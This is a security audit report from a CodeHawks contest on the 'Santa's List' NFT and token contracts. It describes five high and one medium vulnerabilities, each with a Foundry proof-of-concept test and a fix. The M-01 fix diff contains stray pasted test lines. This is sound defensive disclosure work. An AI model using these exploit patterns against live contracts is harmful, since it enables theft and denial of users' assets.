Kode-n-Rolla

Santa`s List Security Review

Mar 5th 2026 - Mar 11th 2026

Table of Contents

Whoami 4
Disclaimer 4
Risk Classification 4
  Impact Classification 5
Contest Context 6
  Protocol Overview 6
  Threat Model 7
Audit Details 8
  Scope 8
    Contest-Specified Assumptions 8
  Roles & Privileges 8
    Santa 9
    Users 9
    Privilege Observations 9
  Methodology 10
Executive Summary 11
  Assessment Outcome 11
  Findings Overview 12
  Key Attack Surfaces 12
Detailed Findings 13
  High Severity Findings 13
    [H-01] Unchecked addresses can claim presents because both status mappings default to *NICE* 13
    [H-02] Users can bypass the one-claim limit by transferring their NFT away and calling *collectPresent()* again 15
    [H-03] *buyPresent()* lets any caller burn another user's *SantaTokens* and mint the present NFT for themselves 18
    [H-04] Any address can overwrite the first-pass status after Santa approval and permanently block present claims 20
    [H-05] Any address can front-run *checkTwice()* and force Santa's second-pass approval to revert 22
  Medium Severity Findings 25
    [M-01] *buyPresent()* charges only 1e18 *SantaToken* even though the configured purchase cost is *2e18* 25
Research Retrospective 28

Tooling & Workflow 28
Conclusion 29
Appendix 29
Links 29

Whoami

I am *Pavel Egin* (aka *kode-n-rolla*), an independent security researcher specializing in smart-contract and protocol security.

With a background in offensive security, I focus on understanding how decentralized systems behave under adversarial conditions. My work involves reconstructing protocol flows, reasoning about invariants, and developing practical exploit scenarios validated through executable proof-of-concepts.

I regularly participate in public audit contests and build custom analysis tooling to enhance my research workflow and uncover subtle economic and state-machine vulnerabilities in Web3 protocols.

Disclaimer

This report documents the outcome of an independent, time-boxed security assessment performed within the context of a public *CodeHawks* audit contest.

The review was constrained by contest timelines and limited strictly to the defined in-scope *Solidity* codebase. While reasonable efforts were made to identify security weaknesses, no guarantee is provided that all vulnerabilities, design flaws, or economic risks have been discovered.

This document represents the researcher’s technical opinion based on the analyzed materials and should not be considered a formal audit, investment advice, or assurance regarding the safety or correctness of the protocol.

Risk Classification

Severity levels in this report are determined using a structured risk assessment approach based on the *CodeHawks* severity matrix.

Risk is evaluated as a function of two primary factors:

- **Impact** — the potential technical, financial, or operational consequences of a successful exploit;

- **Likelihood** — the feasibility and practicality of exploitation under realistic adversarial conditions

The following severity matrix is used as a guideline:

	Impact		
Likelihood	High	Medium	Low
High	H	H/M	M
Medium	H/M	M	M/L
Low	M	M/L	L

Impact Classification

High Impact

- Direct or near-direct loss of user or protocol funds
- Critical violation of protocol invariants
- Severe disruption of core protocol functionality or availability

Medium Impact

- Indirect financial risk or value extraction opportunity
- Partial degradation of protocol functionality
- Griefing or manipulation scenarios affecting users or markets

Low Impact

- No direct financial risk
- Incorrect state handling, edge-case logic flaws, or minor functional inconsistencies
- Gas inefficiencies or suboptimal design choices

Contest Context

This assessment was conducted as part of a public security audit contest hosted on *CodeHawks*.

The reviewed codebase implements a festive-themed blockchain protocol centered around a tokenized "naughty and nice" list maintained by a privileged administrator ("Santa"). The protocol combines NFT minting mechanics with ERC20-based economic interactions, allowing eligible participants to collect NFTs and utilize protocol-issued tokens to acquire additional assets.

Participants in the contest were invited to analyze the in-scope smart contracts and identify security vulnerabilities, logic flaws, and potential adversarial execution scenarios within a limited review timeframe.

The protocol design introduces role-restricted state transitions, token-gated minting flows, and externally callable purchase mechanics, creating a range of potential attack surfaces related to privilege enforcement, state synchronization, and economic manipulation.

The contest environment introduced realistic competitive constraints, requiring efficient prioritization of attack surfaces, rapid protocol comprehension, and validation of findings through practical exploit modeling.

Protocol Overview

The protocol consists of three primary smart contracts implementing a role-gated NFT minting system combined with a protocol-native ERC20 token used for secondary asset acquisition.

The central contract, *SantasList*, functions both as a status registry and as an ERC721 NFT issuer. Addresses are assigned behavioral statuses through a two-stage verification process controlled by a privileged administrator ("Santa"). Only addresses that receive matching status assignments during both verification stages become eligible to claim protocol rewards.

Eligible users classified as *NICE* may mint a single NFT via the *collectPresent* function, while users classified as *EXTRA_NICE* receive both an NFT and a fixed amount of protocol-issued ERC20 tokens (*SantaToken*). NFT minting is time-gated and restricted to one claim per address.

The protocol introduces an additional acquisition mechanism via the *buyPresent* function, allowing externally callable NFT minting in

exchange for burning a predefined amount of *SantaToken*. This creates an economic pathway for expanding NFT distribution beyond initially verified participants.

The *SantaToken* contract is a modified ERC20 implementation based on Solmate, where token minting and burning authority is restricted to the *SantasList* contract. Token supply expansion therefore occurs exclusively through protocol reward flows, while token consumption is enforced through burn-based purchase mechanics.

Token metadata logic is separated into a lightweight *TokenUri* contract inherited by the NFT issuer for modularity and readability purposes.

Threat Model

The threat model for this assessment assumes adversarial interaction with the protocol through both externally owned accounts and smart-contract-based actors.

Attackers are considered capable of invoking all publicly accessible functions, including NFT acquisition flows and token-based purchase mechanisms. Due to the use of *_safeMint*, attacker-controlled contracts may introduce callback-driven execution paths that can influence protocol state transitions during asset distribution.

The protocol relies on a privileged administrator ("Santa") to perform status assignment operations. Compromise or malicious behavior of this role is considered out of scope for this assessment.

No explicit supply constraints or rate-limiting mechanisms are enforced for NFT minting beyond initial eligibility checks, creating a potentially unbounded asset issuance surface under certain economic or logical exploit conditions.

Both NFTs and the protocol-native ERC20 token are freely transferable, enabling secondary market dynamics, token accumulation strategies, and composability-driven attack vectors.

The assessment therefore focuses on risks related to:

- privilege enforcement correctness
- state-machine consistency across multi-step verification flows
- callback-based execution hazards
- economic manipulation of token burn-based acquisition mechanics
- invariant violations related to reward distribution and asset issuance

Audit Details

The security assessment was performed on a time-boxed basis against a predefined code scope provided as part of the *CodeHawks* contest environment.

Scope

The review focused exclusively on the smart contracts located within the `/src` directory of the repository at the following commit:

Commit Hash: `91c8f8c94a9ff2db91f0ab2b2742cf1739dd6374`

In-scope contracts:

```
src/
├── SantaToken.sol
├── SantasList.sol
├── TokenUri.sol
```

The analyzed codebase consisted of approximately 116 non-comment source lines of Solidity code with a reported complexity score of 83.

The contracts were designed to be deployed on the Arbitrum network using Solidity compiler version 0.8.22.

Contest-Specified Assumptions

Certain known limitations were disclosed by the contest organizers and were therefore deprioritized during the assessment.

These included:

- Missing zero-address validation checks
- Minor deviations in the configured Christmas timestamp within a ±24 hour tolerance window

Roles & Privileges

The protocol defines a minimal privilege model centered around a single administrator role ("Santa") and general user-facing interaction paths.

Santa

The *Santa* role is assigned at deployment and stored as an immutable address. Under the intended design, this role is responsible for maintaining the protocol's two-step status verification process through:

- *checkList(address person, Status status)*

- *checkTwice(address person, Status status)*

However, from a code-level perspective, only *checkTwice* is protected by the *onlySanta* modifier. The *checkList* function is externally callable without access control, which materially expands the effective privilege surface beyond the intended trust model.

No additional privileged controls were identified. In particular, the administrator cannot pause the protocol, upgrade contracts, withdraw assets, modify token pricing, or alter token metadata after deployment.

Users

Any external account or smart contract may interact with the public protocol functions, including:

- *collectPresent()*

- *buyPresent(address presentReceiver)*

Reward eligibility depends on the caller's recorded status across the protocol's two verification mappings. Under the intended model, only addresses classified consistently as *NICE* or *EXTRA_NICE* may successfully claim presents through *collectPresent*.

The *buyPresent* function introduces an additional public interaction path tied to the protocol's ERC20 token mechanics, allowing NFT acquisition through token burn-based logic rather than list eligibility alone.

Privilege Observations

From a security perspective, the protocol exposes a narrow nominal privilege model but a broader practical attack surface due to the lack of access control on the first-stage list assignment function. As a result, role enforcement and state-transition correctness became primary review priorities during the assessment.

Methodology

The assessment followed a structured research workflow designed to move from protocol understanding to hypothesis generation and exploit validation.

The review began with documentation analysis and reconstruction of the protocol's core invariants, with particular attention to privilege boundaries, state transitions, reward distribution rules, and token issuance constraints.

The repository was then cloned locally, and the in-scope commit hash was verified against the contest specification to ensure the assessment was performed against the correct code version. The environment was configured to allow accurate compilation and reproducible analysis.

To accelerate protocol mapping and surface potential risk areas, multiple static and structural analysis tools were used, including *Solidity Metrics*, *SCARLET*, *Slither*, *Aderyn*, and *Wake*. Their outputs were used to identify callable entry points, state-mutating functions, privilege boundaries, and unusual execution paths.

Based on this information, protocol flows were reconstructed to model how different actors could interact with the system, which state variables were modified at each step, and where invariant violations or unexpected state transitions might emerge.

This was followed by manual flow-by-flow (line-by-line) review and hypothesis generation, focusing on scenarios involving incorrect access control, state desynchronization, unintended minting behavior, and economic abuse of token-driven flows.

Promising hypotheses were then tested through targeted validation and exploit reasoning via *Foundry*. Confirmed cases of broken assumptions, unintended behavior, or security-relevant invariant violations were documented as formal findings. Special attention was given to places where intended protocol behavior diverged from actual code-enforced constraints.

Executive Summary

The assessment identified multiple high-impact vulnerabilities affecting privilege enforcement, reward distribution integrity, and economic correctness of protocol interactions.

A key systemic weakness stems from insufficient access control and incorrect default state assumptions in the two-stage status verification mechanism. As implemented, arbitrary actors can influence eligibility outcomes, prevent legitimate users from claiming rewards, or disrupt administrative operations through transaction ordering and state overwrites.

The review also uncovered critical flaws in asset issuance logic. The protocol allows repeated reward claims due to reliance on current NFT ownership rather than historical participation tracking, enabling unbounded NFT minting under attacker-controlled execution patterns.

In addition, the token-driven purchase flow was found to be fundamentally broken. Attackers can burn tokens from third-party addresses while minting NFTs for themselves, effectively combining unauthorized asset destruction with free reward acquisition. This issue is further compounded by incorrect enforcement of the documented token price, leading to inconsistent economic behavior.

Overall, the protocol demonstrates a narrow intended privilege model but exposes a significantly broader practical attack surface due to missing access controls, flawed state-machine assumptions, and weak coupling between economic rules and execution logic. These issues create multiple pathways for denial-of-service attacks, reward manipulation, and unintended asset issuance.

Assessment Outcome

The assessment resulted in the identification of multiple validated vulnerabilities affecting protocol correctness, reward integrity, and economic execution logic.

A total of five High severity issues and one Medium severity issue were confirmed during the contest review process. No duplicate submissions were recorded for the reported findings.

The validated issues primarily relate to broken access control assumptions, flawed reward-claim enforcement, and inconsistencies between documented economic rules and actual execution paths.

These findings collectively demonstrate that several core protocol guarantees could be violated under realistic adversarial interaction scenarios.

Findings Overview

ID	Title	Severity
H-01	Default status eligibility bypass	High
H-02	Repeated reward claim	High
H-03	Arbitrary third-party token burn	High
H-04	Eligibility grief via status overwrite	High
H-05	Admin frontrun DoS	High
M-01	Incorrect purchase price enforcement	Medium

Key Attack Surfaces

The assessment revealed several concentrated attack surfaces stemming from weak coupling between intended protocol guarantees and actual code-enforced constraints.

A primary risk area lies in the two-stage status verification mechanism. Because eligibility depends on multiple mutable state variables without sufficient access control or historical tracking, attackers can influence reward outcomes through state overwrites, transaction ordering manipulation, and repeated participation patterns.

Another critical attack surface emerges in the reward issuance logic. NFT minting is gated only by current ownership checks rather than persistent claim records, enabling repeated reward extraction and effectively unbounded asset issuance under adversarial execution.

The token-driven purchase mechanism introduces additional economic risk. Incorrect token burn semantics and lack of payer verification allow attackers to manipulate token balances of third parties while minting rewards for themselves, breaking fundamental assumptions about payment flows and asset attribution.

Finally, the protocol exposes callback-enabled execution paths due to `_safeMint`, which increases the importance of carefully reasoning about reentrancy-adjacent state transitions during asset distribution flows.

Collectively, these surfaces highlight systemic weaknesses in privilege enforcement, reward accounting, and economic rule implementation.

Detailed Findings

High Severity Findings

[H-01] Unchecked addresses can claim presents because both status mappings default to *NICE*

Description

The intended behavior is that only addresses reviewed by Santa through both *checkList()* and *checkTwice()* should be eligible to collect a present. Users marked *NICE* should receive an NFT, and users marked EXTRA_NICE should receive an NFT plus a *SantaToken*.

- Normal behavior: The intended behavior is that only addresses reviewed by Santa through both *checkList()* and *checkTwice()* should be eligible to collect a present.
- Problem: Default value for any address - *NICE*

```
enum Status {
@>  NICE,
    EXTRA_NICE,
    NAUGHTY,
    NOT_CHECKED_TWICE
}

mapping(address person => Status naughtyOrNice) private s_theListCheckedOnce;
mapping(address person => Status naughtyOrNice) private
s_theListCheckedTwice;

function collectPresent() external {
    if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
        revert SantasList__NotChristmasYet();
    }
    if (balanceOf(msg.sender) > 0) {
        revert SantasList__AlreadyCollected();
    }

    if (
        @> s_theListCheckedOnce[msg.sender] == Status.NICE &&
        @> s_theListCheckedTwice[msg.sender] == Status.NICE
    ) {
        _mintAndIncrement();
        return;
    }
    ...
}
```

PoC

```
function test_UncheckedUserCanCollectPresentDueToDefaultNiceStatus() public {
    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

    // Fresh user has never been checked by Santa
    assertEq(uint256(santasList.getNaughtyOrNiceOnce(attacker)),
uint256(SantasList.Status.NICE));
    assertEq(uint256(santasList.getNaughtyOrNiceTwice(attacker)),
uint256(SantasList.Status.NICE));
    assertEq(santasList.balanceOf(attacker), 0);

    vm.prank(attacker);
    santasList.collectPresent();

    assertEq(santasList.balanceOf(attacker), 1);
    assertEq(santasList.ownerOf(0), attacker);
}
```

Recommended Mitigation

```
enum Status {
-    NICE,
-    EXTRA_NICE,
-    NAUGHTY,
-    NOT_CHECKED_TWICE
+    NOT_CHECKED,
+    NICE,
+    EXTRA_NICE,
+    NAUGHTY
}
```

Additionally, ensure *collectPresent()* only accepts explicitly assigned *NICE*/*EXTRA_NICE* statuses rather than relying on the default mapping value.

[H-02] Users can bypass the one-claim limit by transferring their NFT away and calling *collectPresent()* again

Description

- The intended behavior is that each eligible address should only be able to collect a present once. After a successful claim, that address should be permanently marked as having already received its gift, regardless of whether the NFT is later transferred, sold, or gifted to another wallet.
- The issue is that the contract does not track whether an address has already claimed. Instead, it checks only the caller's current NFT balance:

```
if (balanceOf(msg.sender) > 0) {
    revert SantasList__AlreadyCollected();
}
```

This means the one-claim restriction is tied to current ownership rather than historical participation. Once a user transfers their NFT out, their balance becomes zero again, and the contract treats them as if they had never claimed. As a result, any approved address can repeatedly claim presents by cycling each NFT into another wallet before calling *collectPresent()* again.

```
function collectPresent() external {
    if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
        revert SantasList__NotChristmasYet();
    }
@>  if (balanceOf(msg.sender) > 0) {
        revert SantasList__AlreadyCollected();
    }

    if (
        s_theListCheckedOnce[msg.sender] == Status.NICE &&
        s_theListCheckedTwice[msg.sender] == Status.NICE
    ) {
        _mintAndIncrement();
        return;
    } else if (
        s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE &&
        s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
    ) {
        _mintAndIncrement();
        i_santaToken.mint(msg.sender);
```

```
        return;
    }
    revert SantasList__NotNice();
}
```

PoC

```
function test_UserCanClaimAgainAfterTransferringFirstNFT() public {
    address attacker = makeAddr("attacker");
    address receiver = makeAddr("receiver");

    // Santa approves attacker as EXTRA_NICE
    vm.startPrank(santa);
    santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
    santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
    vm.stopPrank();

    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

    vm.startPrank(attacker);

    // First claim
    santasList.collectPresent();
    assertEq(santasList.balanceOf(attacker), 1);
    assertEq(santasList.ownerOf(0), attacker);

    // Transfer NFT away so balance becomes 0 again
    santasList.transferFrom(attacker, receiver, 0);
    assertEq(santasList.balanceOf(attacker), 0);
    assertEq(santasList.balanceOf(receiver), 1);
    assertEq(santasList.ownerOf(0), receiver);

    // Claim again
    santasList.collectPresent();
    assertEq(santasList.balanceOf(attacker), 1);
    assertEq(santasList.ownerOf(1), attacker);

    vm.stopPrank();
}
```

Recommended Mitigation

Track claims with a dedicated boolean flag instead of relying on current ERC721 balance.

```
+ mapping(address user => bool hasClaimed) private s_hasClaimed;

function collectPresent() external {
    if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
        revert SantasList__NotChristmasYet();
    }
-   if (balanceOf(msg.sender) > 0) {
+   if (s_hasClaimed[msg.sender]) {
        revert SantasList__AlreadyCollected();
    }

    if (
        s_theListCheckedOnce[msg.sender] == Status.NICE &&
        s_theListCheckedTwice[msg.sender] == Status.NICE
    ) {
+       s_hasClaimed[msg.sender] = true;
        _mintAndIncrement();
        return;
    } else if (
        s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE &&
        s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
    ) {
+       s_hasClaimed[msg.sender] = true;
        _mintAndIncrement();
        i_santaToken.mint(msg.sender);
        return;
    }
    revert SantasList__NotNice();
}
```

[H-03] *buyPresent()* lets any caller burn another user's *SantaTokens* and mint the present NFT for themselves

Description

- The intended behavior of ***buyPresent()*** is that a user with sufficient ***SantaToken*** balance should be able to spend tokens to buy a present. In a correct purchase flow, the payer should bear the token cost, and the resulting present should be distributed according to the function's intended semantics.
- Instead, the implementation burns tokens from ***presentReceiver***, while minting the NFT to ***msg.sender***. This completely breaks the payment flow: the caller does not need to own or spend any ***SantaToken***, and can freely target another user's token balance. As long as a victim address holds enough ***SantaToken***, any attacker can call ***buyPresent(victim)*** to destroy the victim's tokens and mint an NFT for themselves.

```
function buyPresent(address presentReceiver) external {
@>      i_santaToken.burn(presentReceiver);
@>      _mintAndIncrement();
}
```

The issue is amplified by the fact that ***_mintAndIncrement()*** always mints to ***msg.sender***:

```
function _mintAndIncrement() private {
@>      _safeMint(msg.sender, s_tokenCounter++);
}
```

As a result, the function combines two vulnerabilities in a single broken flow:

1. arbitrary third-party token burn,
2. unauthorized NFT minting for the attacker.

PoC

Add to **storage**: ***address attacker = makeAddr("attacker");***

```
function test_AttackerCanBurnVictimTokensAndMintPresentForSelf() public {
    // Santa approves user as EXTRA_NICE so user can receive SantaToken
    vm.startPrank(santa);
    santasList.checkList(user, SantasList.Status.EXTRA_NICE);
    santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
    vm.stopPrank();

    vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

    // User claims and receives NFT + 1e18 SantaToken
    vm.prank(user);
    santasList.collectPresent();

    assertEq(santaToken.balanceOf(user), 1e18);
    assertEq(santasList.balanceOf(attacker), 0);
    assertEq(santaToken.balanceOf(attacker), 0);

    uint256 victimTokenBalanceBefore = santaToken.balanceOf(user);
    uint256 attackerNftBalanceBefore = santasList.balanceOf(attacker);

    // Attacker burns victim tokens and receives the NFT
    vm.prank(attacker);
    santasList.buyPresent(user);

    uint256 victimTokenBalanceAfter = santaToken.balanceOf(user);
    uint256 attackerNftBalanceAfter = santasList.balanceOf(attacker);

    assertEq(victimTokenBalanceBefore - victimTokenBalanceAfter, 1e18);
    assertEq(attackerNftBalanceAfter - attackerNftBalanceBefore, 1);
    assertEq(santasList.ownerOf(1), attacker);
}
```

Recommended Mitigation

Burn tokens from the caller, not from an arbitrary third party, and mint the purchased present according to the intended recipient logic.

```
function buyPresent(address presentReceiver) external {
-    i_santaToken.burn(presentReceiver);
-    _mintAndIncrement();
+    i_santaToken.burn(msg.sender);
+    _safeMint(presentReceiver, s_tokenCounter++);
}
```

Additionally, if the intended cost is ***PURCHASED_PRESENT_COST***, the burn path should enforce that exact amount instead of hardcoding ***1e18***.

[H-04] Any address can overwrite the first-pass status after Santa approval and permanently block present claims

Description

- The intended behavior is that Santa performs a first review through ***checkList()*** and a second review through ***checkTwice()***. Once both checks match and a user is marked ***NICE*** or ***EXTRA_NICE***, that user should remain eligible to collect their present after the Christmas time gate.
- The issue is that ***checkList()*** is unrestricted and can be called by any address, even after Santa has already completed the second check. Since ***collectPresent()*** requires both stored statuses to match the expected value, a third party can overwrite ***s_theListCheckedOnce[user]*** after Santa approval and make the user fail the eligibility check.

```
function checkList(address person, Status status) external {
@>  s_theListCheckedOnce[person] = status;
    emit CheckedOnce(person, status);
}

function collectPresent() external {
    ...
    if (
@>      s_theListCheckedOnce[msg.sender] == Status.NICE &&
@>      s_theListCheckedTwice[msg.sender] == Status.NICE
    ) {
        _mintAndIncrement();
        return;
    } else if (
@>      s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE &&
@>      s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
    ) {
        _mintAndIncrement();
        i_santaToken.mint(msg.sender);
        return;
    }
    revert SantasList__NotNice();
}
```

This allows a malicious third party to grief any already-approved recipient by rewriting the first-pass status to a mismatching value such as ***NAUGHTY***. After that overwrite, the approved user can no longer satisfy the claim conditions and is denied their present.

PoC

Add to **storage**: ***address attacker = makeAddr("attacker");***

```
    function test_AttackerCanOverwriteFirstCheckAndBlockApprovedUserClaim()
public {
        // Santa approves user
        vm.startPrank(santa);
        santasList.checkList(user, SantasList.Status.NICE);
        santasList.checkTwice(user, SantasList.Status.NICE);
        vm.stopPrank();

        assertEq(uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NICE));
        assertEq(uint256(santasList.getNaughtyOrNiceTwice(user)),
uint256(SantasList.Status.NICE));

        vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);

        // Attacker rewrites the first check after approval
        vm.prank(attacker);
        santasList.checkList(user, SantasList.Status.NAUGHTY);

        assertEq(uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NAUGHTY));
        assertEq(uint256(santasList.getNaughtyOrNiceTwice(user)),
uint256(SantasList.Status.NICE));

        // Approved user can no longer claim
        vm.prank(user);
        vm.expectRevert(SantasList.SantasList__NotNice.selector);
        santasList.collectPresent();
    }
```

Recommended

Restrict ***checkList()*** so that only Santa can set or modify the first-pass status.

```
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
    s_theListCheckedOnce[person] = status;
    emit CheckedOnce(person, status);
}
```

As an optional hardening measure, the contract can also prevent later rewrites once the second check has been completed for a user.

[H-05] Any address can front-run *checkTwice()* and force Santa's second-pass approval to revert

Description

- The intended behavior is that Santa performs a first review with ***checkList()*** and then finalizes the result with ***checkTwice()*** using the same status. If both checks match, the recipient becomes eligible to claim a present later.
- The issue is that the first-pass state is not protected. Because ***checkList()*** can be called by anyone, an attacker observing Santa's pending ***checkTwice(person, status)*** transaction can submit a transaction first and overwrite ***s_theListCheckedOnce[person]*** with a different value. When Santa's transaction is then executed, the equality check fails and ***checkTwice()*** reverts.

```
function checkList(address person, Status status) external {
@>  s_theListCheckedOnce[person] = status;
    emit CheckedOnce(person, status);
}

function checkTwice(address person, Status status) external onlySanta {
@>   if (s_theListCheckedOnce[person] != status) {
        revert SantasList__SecondCheckDoesntMatchFirst();
    }
    s_theListCheckedTwice[person] = status;
    emit CheckedTwice(person, status);
}
```

This creates a transaction-ordering vulnerability: the approval flow depends on mutable public state that can be changed by arbitrary third parties immediately before the second check executes.

PoC

Add to **storage**: ***address attacker = makeAddr("attacker");***

```
    function test_AttackerCanFrontRunSecondCheckAndForceRevert() public {
        // Santa performs the first check
        vm.prank(santa);
        santasList.checkList(user, SantasList.Status.NICE);
```

```
        assertEq(uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NICE));

        // Attacker front-runs Santa's second check by changing the first-
pass status
        vm.prank(attacker);
        santasList.checkList(user, SantasList.Status.NAUGHTY);

        assertEq(uint256(santasList.getNaughtyOrNiceOnce(user)),
uint256(SantasList.Status.NAUGHTY));

        // Santa's intended second check now reverts
        vm.prank(santa);

vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
        santasList.checkTwice(user, SantasList.Status.NICE);
    }
```

Recommended Mitigation

Restrict ***checkList()*** so that only Santa can write the first-pass status.

```
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
    s_theListCheckedOnce[person] = status;
    emit CheckedOnce(person, status);
}
```

As an additional hardening measure, the approval flow could be redesigned so the second check does not depend on mutable public state that arbitrary users can rewrite between transactions.

Medium Severity Findings

[M-01] *buyPresent()* charges only 1e18 *SantaToken* even though the configured purchase cost is *2e18*

Description

- The intended behavior is that buying a present should cost exactly ***PURCHASED_PRESENT_COST***, which is configured in the contract as ***2e18*** *SantaToken*. This constant communicates the expected economic rule of the system and should match the amount actually charged during execution.
- The issue is that ***buyPresent()*** never enforces ***PURCHASED_PRESENT_COST.*** Instead, it calls ***SantaToken.burn()***, and that function is hardcoded to burn only **1e18** tokens regardless of the configured price. As a result, the real execution path charges half of the documented cost.

```
uint256 public constant PURCHASED_PRESENT_COST = 2e18;

function buyPresent(address presentReceiver) external {
@>  i_santaToken.burn(presentReceiver);
    _mintAndIncrement();
}
```

```
function burn(address from) external {
    if (msg.sender != i_santasList) {
        revert SantaToken__NotSantasList();
    }
@>      _burn(from, 1e18);
}
```

Because of this mismatch, a present can be bought with only ***1e18*** *SantaToken* even though the protocol configuration indicates the required cost should be ***2e18***.

PoC

Add to **storage**: ***address attacker = makeAddr("attacker");***

```
    function test_BuyPresentUsesOneTokenInsteadOfConfiguredTwoTokenCost()
public {
        uint256 configuredCost = santasList.PURCHASED_PRESENT_COST();
        assertEq(configuredCost, 2e18);

        // Give user only 1e18 even though configured cost is 2e18
        deal(address(santaToken), user, 1e18);
        assertEq(santaToken.balanceOf(user), 1e18);

        uint256 attackerNftBalanceBefore = santasList.balanceOf(attacker);

        // Purchase still succeeds with only 1e18
        vm.prank(attacker);
        santasList.buyPresent(user);

        assertEq(santaToken.balanceOf(user), 0);
        assertEq(santasList.balanceOf(attacker), attackerNftBalanceBefore +
1);
    }
```

Recommended Mitigation

Ensure the purchase path enforces the same amount as the configured ***PURCHASED_PRESENT_COST***.

```
- function burn(address from) external {
+ function burn(address from, uint256 amount) external {
    if (msg.sender != i_santasList) {
        revert SantaToken__NotSantasList();
    }
-   _burn(from, 1e18);
+   _burn(from, amount);
}
assertEq(santasList.balanceOf(attacker), attackerNftBalanceBefore + 1);
    }
```

```
function buyPresent(address presentReceiver) external {
-   i_santaToken.burn(presentReceiver);
+   i_santaToken.burn(presentReceiver, PURCHASED_PRESENT_COST);
    _mintAndIncrement();
}
```

Research Retrospective

This contest reinforced the importance of early protocol comprehension through invariant mapping and flow reconstruction.

Rather than focusing on individual functions in isolation, the review prioritized understanding how eligibility states, token mechanics, and minting flows interacted across different execution paths. By modeling how actors could influence state transitions through ordering, repeated interaction, or indirect participation, it became easier to identify systemic weaknesses in access control enforcement and reward accounting.

Static analysis tools such as *Slither* and *Aderyn* were primarily useful for surface exploration and triage, although several findings required manual validation due to false-positive signals. Structural mapping tools and local testing frameworks helped accelerate hypothesis testing and enabled practical reasoning about adversarial execution sequences.

A key takeaway from this assessment is the need to treat access control assumptions and execution ordering as first-class security concerns. Even seemingly simple state-machine designs can become vulnerable when eligibility checks rely on mutable state without persistent participation tracking or strong privilege boundaries.

Tooling & Workflow

The assessment was conducted using a combination of manual analysis, custom structural tooling, and established smart contract security frameworks.

Local testing and validation were performed using *Foundry (v1.5.1)*, which enabled rapid hypothesis verification, execution flow experimentation, and targeted exploit reasoning.

To support protocol mapping and invariant exploration, multiple static and structural analysis tools were used, including *Slither*, *Aderyn*, and *Solidity Metrics*. These tools were primarily leveraged for entry point discovery, privilege surface identification, and early risk triage.

In addition, a custom structural analysis tool (*SCARLET*) was used to assist in reconstructing protocol call flows, identifying state mutation patterns, and accelerating manual review of execution paths. This helped improve research efficiency and enabled deeper reasoning about adversarial interaction scenarios.

Development and analysis were performed in a local environment using a Solidity-focused IDE setup with dedicated security analysis extensions.

Conclusion

This assessment demonstrated that even relatively small codebases can contain critical security risks when core protocol assumptions are not consistently enforced at the execution level.

The identified vulnerabilities highlight the importance of rigorous access control design, persistent participation tracking, and careful implementation of economic rules governing asset issuance and token flows.

From a research perspective, the contest provided valuable opportunities to model adversarial execution patterns and validate how seemingly minor deviations from intended behavior can compound into systemic weaknesses.

Continued emphasis on invariant-driven analysis and structured exploit reasoning remains essential for improving the security posture of decentralized protocols.

Appendix

Links

Contest References:

- CodeHawks Contest Page
- Contest Repository

Findings Submissions:

- H-01 Submission
- H-02 Submission
- H-03 Submission
- H-04 Submission
- H-05 Submission
- M-01 Submission

Tooling References:

- SCARLET
- Foundry
- Slither
- Aderyn
- Solidity Metrics